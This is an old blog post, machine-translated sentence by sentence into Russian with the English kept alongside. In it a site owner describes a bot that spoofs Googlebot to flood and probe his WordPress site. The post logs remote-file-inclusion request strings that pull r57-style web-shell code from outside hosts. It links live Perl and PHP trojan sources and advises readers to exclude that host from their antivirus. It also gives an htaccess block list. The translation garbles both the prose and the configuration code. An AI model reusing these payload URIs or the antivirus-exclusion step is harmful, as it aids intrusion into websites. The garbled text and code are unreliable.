Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Масса дистанционного кодекса Injection, как робот Google - Пакетные Spoofing Perl бот и Trojan

    • Dec Декабрь
    • 21 21

    Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Масса дистанционного кодекса Injection, как робот Google - Пакетные Spoofing Perl бот и Trojan

    Posted by Noah Ark 8 months, 2 weeks ago . Написал ковчег Ноя 8 месяцев, 2 недели назад.

    Filed under Security & injection . Filed по безопасности и инъекции.

    кота в собственности For this past three days this blog is suffering DOS attack . Для этого последние три дня данного блога, страдающих DOS атаки. The attack is still alive now I don’t think they will leave yet. Нападение до сих пор живы в настоящее время я не думаю, что они оставят еще.

    I cant banned this bot directly as they were sending forge packet (packet spoofing) as googlebot http://www.whois-search.com/whois/64.233.166.136. Я могу запретил это бот прямо как они были направления формирования пакета (пакетов спуфинг), как google-бот http://www.whois-search.com/whois/64.233.166.136. Im still looking for the right ISP. Им все еще ищем право ISP. 

     OrgName: Google Inc. OrgID: GOGL Address: 1600 Amphitheatre Parkway City: Mountain View StateProv: CA PostalCode: 94043 Country: US OrgName: Google Inc OrgID: GOGL Адрес: 1600 Amphitheatre Parkway Город: Mountain View StateProv: CA индекс: 94043 Страна: США

    At the time being I blocked all remote streams from their random host *.com and “perl bot signature” but blocking will not stop them from hammering this site. На данный момент я блокировали все удаленных потоков от их случайного пребывания *. ком и "perl бот подписи", но блокировка не остановит их от hammering этом сайте. I’ll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later. Я буду отправлять 503 (Служба недоступна) по просьбе некоторых поэтому, если у вас возникли проблемы с доступом этом сайте, пожалуйста, проверьте позже.

    Type of injections Вид инъекции

    There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities. Существует много uri параметр в моем журналов (я-инвалидов сервера - лимит средств), они, вероятно, имеет большой инвентаризации-проверить списки известных уязвимостей CMS. I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page. Я могу лишь подтвердить, что его blackhat seo спам бот, как они запроса включают типичные order.php странице. 

     /es/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-ja  gger-goro-class-mailphp/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? / эс / wordpress / хау для удален-wordpress-нетто-на спам-раствор для инъекций-инфицированных-по-mike-я gger-goro-class-mailphp/order.php /? wp = http://hom3.t35 .com / xpl / взломать / id.txt? /es/wordpress/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? / эс / wordpress / order.php /? wp = http://hom3.t35.com/xpl/hack/id.txt? /order.php?wp=http://hom3.t35.com/xpl/hack/id.txt? / order.php? wp = http://hom3.t35.com/xpl/hack/id.txt?

    To view the following source you need to exclude the website host from your anti-virus program. Для просмотра следующих источников нужно исключить пребывания на сайте с вашей антивирусной программы.

    • Perl/ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt Perl / ShellBot.B троянских - http://hom3.t35.com/xpl/fidz/hack/bnc.txt
    • PHP/Rst.S Trojan - http://hom3.t35.com/xpl/fidz PHP / Rst.S Trojan - http://hom3.t35.com/xpl/fidz

    htaccess blocked bad Code Injector and Perl Bot (Botnet) htaccess заблокирован плохой кодекс Форсунка и Perl Бот (Botnet)

    If you has similar problems. Если вы имеет аналогичные проблемы. you should block the following domain in your htaccess. Вы должны блокировать следующие домена в вашей htaccess.
    mod_setenvif 

     SetEnvIfNoCase Referer "^http://(www.)?t35\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^http://(www.)?jorgevolio\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^http://(www.)?emabe\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^http://(www.)?pawang\.in" codeinjector_ref=1 SetEnvIfNoCase Referer "^http://(www.)?gw-gold\.net" codeinjector_ref=1 SetEnvIfNoCase User-Agent "^libwww-perl*" shell_bots=1 SetEnvIfNoCase User-Agent "^Amidalla*" shell_bots=1  <FilesMatch "(.*)"> Order Allow,Deny Allow from all Deny from env=codeinjector_ref Deny from env=shell_bots </FilesMatch> SetEnvIfNoCase ссылка "^ http:// (www.)? T35 \. Ком" codeinjector_ref = 1 SetEnvIfNoCase ссылка "^ http:// (www.)? Jorgevolio \. Ком" codeinjector_ref = 1 SetEnvIfNoCase ссылка "^ http:// (www.)? emabe \. ком "codeinjector_ref = 1 SetEnvIfNoCase ссылка" ^ http:// (www.)? pawang \. в "codeinjector_ref = 1 SetEnvIfNoCase ссылка" ^ http:// (www.)? gw-золото \. чистых "codeinjector_ref = 1 SetEnvIfNoCase User-Agent" ^ libwww-perl * "shell_bots = 1 SetEnvIfNoCase User-Agent" ^ Amidalla * "shell_bots = 1 <FilesMatch "(.*)"> Заказ Позвольте, позвольте Отказывать от всех Отказывать с окр = codeinjector_ref Отказывать от окр = shell_bots </ FilesMatch>

    if u arent sure if you server support mod_setenvif wrap it like the below example. если у arent уверены, что если вы сервер поддержки mod_setenvif заверните ее как пример ниже. 

     <IfModule mod_setenvif.c> #...replace this line with the above code... <IfModule Mod_setenvif.c> # ... заменить эту строку с кодом выше ... </IfModule> </ IfModule>

    How to trap Perl Shell Bot Как ловушку Perl Shell Bot

    We need a pattern to trap this bots. Нам нужен шаблон для этой ловушки ботами. certainly we knew that these bots : конечно, мы знали, что эти роботы:

    • doesn’t honor robot.txt не делает чести robot.txt
    • they crawl all subdirectory они сканируют все подкаталог
    • they has a pattern URI request они имеет шаблон URI запроса

    For now I only create subdirectory for auto-ban (and some other stuff) based on their pattern. А сейчас я лишь создать подкаталог для автоматического запрета (и некоторые другие вещи), основанные на их характер. alexa bot will be banned too as they dont honor robot.txt. Алекса бот будет запрещена, поскольку они слишком dont честь robot.txt.

    I’ll be updating this post from time to time. Я буду обновлении этой должности время от времени. Do check the related articles on how to packet spoofing and validating forge/spoof packet. Как проверить, связанных статей о том, как пакет спуфинга и проверки формирования / обман пакет.

    Recent Scan & Update Последние сканирование и обновление

    The below list is automatically added. Ниже список будет автоматически добавлен.

    December 24, 2007 24 декабря 2007 года
    ip: 64.26.63.10 param: login= , ? inject: http://pawang.in/r57.txt ip: 64.26.63.10 парам: вход =,? вдохнуть: http://pawang.in/r57.txt
    December 24, 2007 24 декабря 2007 года
    ip: 64.26.63.10 param: dir= , login= inject: http://pawang.in/r57.txt???? ip: 64.26.63.10 парам: реж =, логин = вдохнуть: http://pawang.in/r57.txt??
    December 25, 2007 25 декабря 2007 года
    ip: 59.158.128.138 param: p= , :allinurl= inject: http://gw-gold.net/jpg/pictures/test.txt ip: 59.158.128.138 парам: р =,: = вдохнуть allinurl: http://gw-gold.net/jpg/pictures/test.txt

    External Resources Внешние ресурсы

    About the Author Об авторе

     

    Tags: Метки:
    • December 21, 2007 at 10:48 pm 21 декабря 2007 года в 10:48 вечера
    • February 16, 2008 at 3:05 am 16 февраля 2008 года в 3:05 утра
    • 0.3 0,3
    • url

    • No Responses to “ Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan ” Нет ответов на "массового дистанционного кодекса Injection, как робот Google - Пакетные Spoofing Perl бот и Trojan"

      Trackback URL: Trackback URL: Use the TrackBack url ↑ to ping this article. Используйте TrackBack url ↑ пинговать эту статью. If your blog does not support Trackbacks you might want to leave a comment instead. Если Ваш блог не поддерживает Trackbacks Вы можете оставить комментарий, вместо.
        • RE: Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan - 'The Guide' ↓ RE: Масса дистанционного кодекса Injection, как робот Google - Пакетные Spoofing Perl бот и Trojan - "Руководство" ↓
          Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Kakkoi 8 months, 2 weeks ago 5 url Масса дистанционного кодекса Injection, как робот Google - Пакетные Spoofing Perl бот и Trojan Kakkoi 8 месяцев, 2 недели назад, 5 url
          Марвин, "Точка зрения" Гун

          The following "Code" are designed to protect you and other users of this site. После "Кодекс" предназначены для защиты вас и других пользователей этого сайта.

          • Be relevant: Your comment should be a thoughtful contribution to the subject of the entry. Иметь значение: Ваш комментарий должен быть продуманный вклад в вопрос о въезде. Keep your comments constructive and polite. Храните ваши конструктивные замечания и вежливо.
          • No advertising or spamming: Do not use the comment feature to promote commercial entities/products, affiliates services or websites. Нет рекламы или спама: Не используйте функцию комментариев для содействия коммерческим организациям / товаров, услуг, филиалы или веб-сайтов. You are allowed to post a link as long as it's relevant to the entry. Вы можете разместить ссылку до тех пор, как ее отношение к вступлению.
          • Keep within the law: Do not link to offensive or illegal content websites. Имейте в рамках закона: Не ссылку на оскорбительные или незаконное содержание сайтов. Do not make any defamatory or disparaging comments which might damage the reputation of a person or organisation. Не делать какие-либо порочащие или disparaging замечаний, которые могли бы повредить репутации лица или организации.
          • Privacy: Do not post any personal information relating to yourself or anyone else - (ie: address, place of employment, telephone or mobile number or email address). Безопасность: Не размещайте никакой личной информации о себе или кому-либо еще - (например: адрес, место работы, телефон или номер мобильного телефона или адрес электронной почты).

          In order to keep these experiences enjoyable and interesting for all of our users, we ask that you follow the above guidlines. Для того чтобы сохранить этот опыт приятной и интересной для всех наших пользователей, мы просим Вас следовать выше Инструкция.

          be the first to comment. быть первым комментировать.

          Kakkoi Feel free to engage, ask questions, and tell us what you are thinking! Не стесняйтесь принять участие, задать вопросы и рассказать нам, чего вы соберетесь! Regular and insightful comments are most welcomed. Регулярные и проницательные замечания являются наиболее приветствовать.

    "write as if you were talking to a good friend (in front of your mother)." "писать, как если бы вы разговаривали с хорошим другом (в передней части вашей матери)."

    .have your say . Ваш сказать

    Disclaimer: For any content that you post, you hereby grant to Kakkoi the royalty-free, irrevocable, perpetual, exclusive and fully sublicensable license to use, reproduce, modify, adapt, publish, translate, create derivative works from, distribute, perform and display such content in whole or in part, world-wide and to incorporate it in other works, in any form, media or technology now known or later developed. Some rights reserved. Disclaimer: Для любого содержания, которое вы разместите, Вы тем самым предоставляете Kakkoi безгонорарные, окончательное, вечное, эксклюзивные и сублицензируемое на использование, воспроизведение, модификацию, адаптацию, публикацию, перевод, создавать производные работы, распространять, исполнять или показывать такие материалы, полностью или частично, во всем мире и включение его в другие произведения в любой форме, в средствах массовой информации или технологии, известной сейчас или позже разработаны. Некоторые права защищены.

MySQL query error MySQL запрос об ошибке